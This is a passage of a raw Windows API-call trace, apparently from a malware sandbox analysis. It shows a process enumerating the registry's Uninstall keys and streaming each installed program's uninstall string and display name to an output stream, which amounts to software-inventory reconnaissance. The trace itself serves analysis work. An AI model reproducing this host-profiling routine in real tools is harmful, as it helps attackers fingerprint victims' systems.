| out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.192] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.192] RegCloseKey (hKey=0x108) returned 0x0 [0068.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.193] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.193] RegCloseKey (hKey=0x108) returned 0x0 [0068.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.193] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.193] RegCloseKey (hKey=0x108) returned 0x0 [0068.193] LocalFree (hMem=0x626b48) returned 0x0 [0068.193] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.193] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.193] lstrlenA (lpString="\\") returned 1 [0068.193] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626a88 [0068.193] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.193] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.193] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.193] lstrlenA (lpString="DirectDrawEx") returned 12 [0068.193] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x626b48 [0068.193] lstrcpyA (in: lpString1=0x626b48, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.193] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="DirectDrawEx" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx" [0068.193] LocalFree (hMem=0x626a88) returned 0x0 [0068.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.193] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.193] RegCloseKey (hKey=0x108) returned 0x0 [0068.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.194] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.194] RegCloseKey (hKey=0x108) returned 0x0 [0068.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.194] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.194] RegCloseKey (hKey=0x108) returned 0x0 [0068.194] LocalFree (hMem=0x626b48) returned 0x0 [0068.194] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x5, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DXM_Runtime", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.194] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.194] lstrlenA (lpString="\\") returned 1 [0068.194] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626a88 [0068.194] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.194] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.194] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.194] lstrlenA (lpString="DXM_Runtime") returned 11 [0068.194] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x626b48 [0068.194] lstrcpyA (in: lpString1=0x626b48, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.194] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="DXM_Runtime" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime" [0068.194] LocalFree (hMem=0x626a88) returned 0x0 [0068.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.194] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.194] RegCloseKey (hKey=0x108) returned 0x0 [0068.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.195] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.195] RegCloseKey (hKey=0x108) returned 0x0 [0068.195] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.195] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.195] RegCloseKey (hKey=0x108) returned 0x0 [0068.195] LocalFree (hMem=0x626b48) returned 0x0 [0068.195] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x6, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.195] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.195] lstrlenA (lpString="\\") returned 1 [0068.195] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626a88 [0068.195] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.195] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.195] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.195] lstrlenA (lpString="Fontcore") returned 8 [0068.195] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626b48 [0068.195] lstrcpyA (in: lpString1=0x626b48, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.195] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Fontcore" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore" [0068.195] LocalFree (hMem=0x626a88) returned 0x0 [0068.195] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.195] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.196] RegCloseKey (hKey=0x108) returned 0x0 [0068.196] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.196] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.196] RegCloseKey (hKey=0x108) returned 0x0 [0068.196] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.196] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.196] RegCloseKey (hKey=0x108) returned 0x0 [0068.196] LocalFree (hMem=0x626b48) returned 0x0 [0068.196] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x7, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Google Chrome", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.196] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.196] lstrlenA (lpString="\\") returned 1 [0068.196] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626a88 [0068.196] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.196] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.196] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.196] lstrlenA (lpString="Google Chrome") returned 13 [0068.196] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x626b48 [0068.196] lstrcpyA (in: lpString1=0x626b48, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.196] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Google Chrome" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome" [0068.197] LocalFree (hMem=0x626a88) returned 0x0 [0068.197] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.197] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x7c) returned 0x0 [0068.197] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x62b230 [0068.197] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62b230, lpcbData=0x12ef10*=0x7c | out: lpType=0x0, lpData=0x62b230*=0x22, lpcbData=0x12ef10*=0x7c) returned 0x0 [0068.197] RegCloseKey (hKey=0x108) returned 0x0 [0068.197] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62b230*=0x22, cb=0x7c, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x7c) returned 0x0 [0068.197] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.197] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62b230 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0xe) returned 0x0 [0068.197] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x626e60 [0068.197] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0xe | out: lpType=0x0, lpData=0x626e60*=0x47, lpcbData=0x12ef0c*=0xe) returned 0x0 [0068.197] RegCloseKey (hKey=0x108) returned 0x0 [0068.197] lstrlenA (lpString="Google Chrome") returned 13 [0068.197] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x47, cb=0xd, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0xd) returned 0x0 [0068.197] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x47, cb=0xe, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0xe) returned 0x0 [0068.197] LocalFree (hMem=0x626e60) returned 0x0 [0068.198] LocalFree (hMem=0x62b230) returned 0x0 [0068.198] LocalFree (hMem=0x626b48) returned 0x0 [0068.198] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x8, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.198] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.198] lstrlenA (lpString="\\") returned 1 [0068.198] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.198] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.198] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.198] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.198] lstrlenA (lpString="IE40") returned 4 [0068.198] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x626e60 [0068.198] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.198] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IE40" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40" [0068.198] LocalFree (hMem=0x62b230) returned 0x0 [0068.198] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.198] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.198] RegCloseKey (hKey=0x108) returned 0x0 [0068.198] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.198] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.199] RegCloseKey (hKey=0x108) returned 0x0 [0068.199] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.199] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.199] RegCloseKey (hKey=0x108) returned 0x0 [0068.199] LocalFree (hMem=0x626e60) returned 0x0 [0068.199] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x9, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.199] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.199] lstrlenA (lpString="\\") returned 1 [0068.199] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.199] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.199] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.199] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.199] lstrlenA (lpString="IE4Data") returned 7 [0068.199] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x626e60 [0068.199] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.199] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IE4Data" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data" [0068.199] LocalFree (hMem=0x62b230) returned 0x0 [0068.200] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.200] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.200] RegCloseKey (hKey=0x108) returned 0x0 [0068.200] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.200] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.200] RegCloseKey (hKey=0x108) returned 0x0 [0068.200] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.200] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.200] RegCloseKey (hKey=0x108) returned 0x0 [0068.200] LocalFree (hMem=0x626e60) returned 0x0 [0068.200] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xa, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.200] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.200] lstrlenA (lpString="\\") returned 1 [0068.200] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.200] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.200] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.201] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.201] lstrlenA (lpString="IE5BAKEX") returned 8 [0068.201] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626e60 [0068.201] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.201] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IE5BAKEX" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX" [0068.201] LocalFree (hMem=0x62b230) returned 0x0 [0068.201] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.201] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.201] RegCloseKey (hKey=0x108) returned 0x0 [0068.201] RegOpenKeyExA (in: hKey=0x80000002, 